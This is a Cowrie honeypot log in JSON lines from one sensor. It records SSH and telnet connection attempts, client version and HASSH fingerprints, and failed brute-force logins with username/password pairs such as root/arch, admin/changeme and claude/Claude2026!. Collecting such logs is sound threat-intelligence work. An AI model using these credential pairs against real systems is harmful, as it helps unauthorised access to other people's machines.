{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:35.653402Z","src_ip":"46.19.67.181","session":"1acab66ae65d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:36.000500Z","src_ip":"46.19.67.181","session":"1acab66ae65d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:37.117878Z","src_ip":"46.19.67.181","session":"1acab66ae65d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":50208,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b28be0e6c3e","protocol":"ssh","message":"New connection: 43.156.2.226:50208 (159.203.135.109:22) [session: 9b28be0e6c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:42.968473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:42.972686Z","src_ip":"43.156.2.226","session":"9b28be0e6c3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:43.210270Z","src_ip":"43.156.2.226","session":"9b28be0e6c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arch","message":"login attempt [root/arch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:44.192954Z","src_ip":"43.156.2.226","session":"9b28be0e6c3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":39994,"dst_ip":"159.203.135.109","dst_port":22,"session":"546dc5d58d21","protocol":"ssh","message":"New connection: 62.133.62.83:39994 (159.203.135.109:22) [session: 546dc5d58d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:45.114726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:45.133101Z","src_ip":"62.133.62.83","session":"546dc5d58d21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:45.199589Z","src_ip":"62.133.62.83","session":"546dc5d58d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:45.433140Z","src_ip":"43.156.2.226","session":"9b28be0e6c3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lfiekz","message":"login attempt [root/lfiekz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:45.518026Z","src_ip":"62.133.62.83","session":"546dc5d58d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:46.598811Z","src_ip":"62.133.62.83","session":"546dc5d58d21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00871253013611,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:59.072959Z","src_ip":"141.149.226.228","session":"68a456e7418f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.149.226.228","src_port":45554,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0003f63760c","protocol":"telnet","message":"New connection: 141.149.226.228:45554 (10.17.0.5:23) [session: c0003f63760c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:45:59.603932Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":55786,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9387bc1b610","protocol":"ssh","message":"New connection: 103.183.114.55:55786 (159.203.135.109:22) [session: a9387bc1b610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:09.838078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:09.843113Z","src_ip":"103.183.114.55","session":"a9387bc1b610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:10.075181Z","src_ip":"103.183.114.55","session":"a9387bc1b610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"060606","message":"login attempt [root/060606] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:10.767834Z","src_ip":"103.183.114.55","session":"a9387bc1b610","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:11.999119Z","src_ip":"103.183.114.55","session":"a9387bc1b610","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":44122,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ac6e0442d49","protocol":"ssh","message":"New connection: 69.6.234.27:44122 (159.203.135.109:22) [session: 2ac6e0442d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:24.579216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:24.582540Z","src_ip":"69.6.234.27","session":"2ac6e0442d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:24.655653Z","src_ip":"69.6.234.27","session":"2ac6e0442d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"123","message":"login attempt [vpn/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:24.978084Z","src_ip":"69.6.234.27","session":"2ac6e0442d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:26.055353Z","src_ip":"69.6.234.27","session":"2ac6e0442d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":32770,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa47eec763ee","protocol":"ssh","message":"New connection: 103.27.238.114:32770 (10.17.0.5:22) [session: fa47eec763ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:35.987270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:35.992232Z","src_ip":"103.27.238.114","session":"fa47eec763ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:36.250658Z","src_ip":"103.27.238.114","session":"fa47eec763ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"159357000","message":"login attempt [root/159357000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:37.015420Z","src_ip":"103.27.238.114","session":"fa47eec763ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:46:38.272937Z","src_ip":"103.27.238.114","session":"fa47eec763ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":48384,"dst_ip":"159.203.135.109","dst_port":22,"session":"c13610498c75","protocol":"ssh","message":"New connection: 43.156.2.226:48384 (159.203.135.109:22) [session: c13610498c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:04.350817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:04.355866Z","src_ip":"43.156.2.226","session":"c13610498c75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:04.587132Z","src_ip":"43.156.2.226","session":"c13610498c75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"changeme","message":"login attempt [admin/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:05.542599Z","src_ip":"43.156.2.226","session":"c13610498c75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:06.777848Z","src_ip":"43.156.2.226","session":"c13610498c75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":54940,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e727514853b","protocol":"ssh","message":"New connection: 69.6.234.27:54940 (159.203.135.109:22) [session: 2e727514853b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:42.895539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:42.899778Z","src_ip":"69.6.234.27","session":"2e727514853b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:42.975782Z","src_ip":"69.6.234.27","session":"2e727514853b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"Claude2026!","message":"login attempt [claude/Claude2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:43.298645Z","src_ip":"69.6.234.27","session":"2e727514853b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:44.374781Z","src_ip":"69.6.234.27","session":"2e727514853b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01584482192993,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:47:59.619657Z","src_ip":"141.149.226.228","session":"c0003f63760c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.149.226.228","src_port":45646,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd86f4464de1","protocol":"telnet","message":"New connection: 141.149.226.228:45646 (10.17.0.5:23) [session: cd86f4464de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:01.179557Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35890,"dst_ip":"159.203.135.109","dst_port":22,"session":"37de7604c970","protocol":"ssh","message":"New connection: 109.237.96.109:35890 (159.203.135.109:22) [session: 37de7604c970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:14.649428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:48:14.654718Z","src_ip":"109.237.96.109","session":"37de7604c970","protocol":"ssh"}
